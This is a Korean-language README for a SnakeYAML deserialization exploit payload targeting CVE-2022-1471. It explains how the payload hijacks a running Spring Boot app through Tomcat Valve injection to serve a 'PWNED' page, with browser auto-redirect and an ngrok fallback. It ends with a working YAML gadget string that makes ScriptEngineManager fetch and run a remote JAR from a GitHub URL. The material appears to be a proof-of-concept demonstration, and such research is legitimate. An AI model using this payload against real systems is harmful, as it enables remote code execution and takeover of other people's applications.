yaml-payload

CVE-2022-1471에 대한 SnakeYAML 역직렬화 익스플로잇 페이로드로, artsploit/yaml-payload에서 각색했습니다(원래는 mbechler/marshalsec 기반).

기능

SnakeYAML의 안전하지 않은 Yaml.load()를 통해 로드되면, 이 페이로드는 실행 중인 애플리케이션을 장악하고 이를 "You've Been PWNED" 페이지로 대체합니다:

1. Tomcat Valve 주입 — 리플렉션을 통해 실행 중인 Spring Boot 앱에 Tomcat Valve를 주입하여 기존 8080 포트를 가로챕니다. 동일한 URL(ngrok 터널 포함)이 이제 PWNED 페이지를 제공합니다
2. 브라우저 자동 리디렉션 — POST 응답이 302 리디렉션을 보내므로, 브라우저는 수동 새로고침 없이 즉시 PWNED 페이지를 로드합니다
3. 브라우저 자동 열기 — 올바른 URL(가능한 경우 ngrok 공개 URL, 그렇지 않으면 localhost:8080)로 브라우저를 자동으로 엽니다
4. 익스플로잇 증거 출력 — 콘솔/CI 로그에 익스플로잇 증거를 출력합니다

Tomcat Valve 주입이 불가능한 경우(예: 비-Spring 앱), 포트 9999에서 독립형 HTTP 서버를 시작하고, ngrok가 실행 중이면 ngrok 터널을 자동으로 생성하는 폴백 방식으로 동작합니다.

이것은 macOS 로컬과 CI/CD 파이프라인(예: Ubuntu의 GitHub Actions) 모두에서 작동합니다.

익스플로잇 체인 작동 방식

SnakeYAML 페이로드는 Java SPI(Service Provider Interface)를 통해 ScriptEngineManager를 트리거합니다:

!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["https://raw.githubusercontent.com/seal-sean-org/yaml-payload/main/yaml-payload.jar"]]]]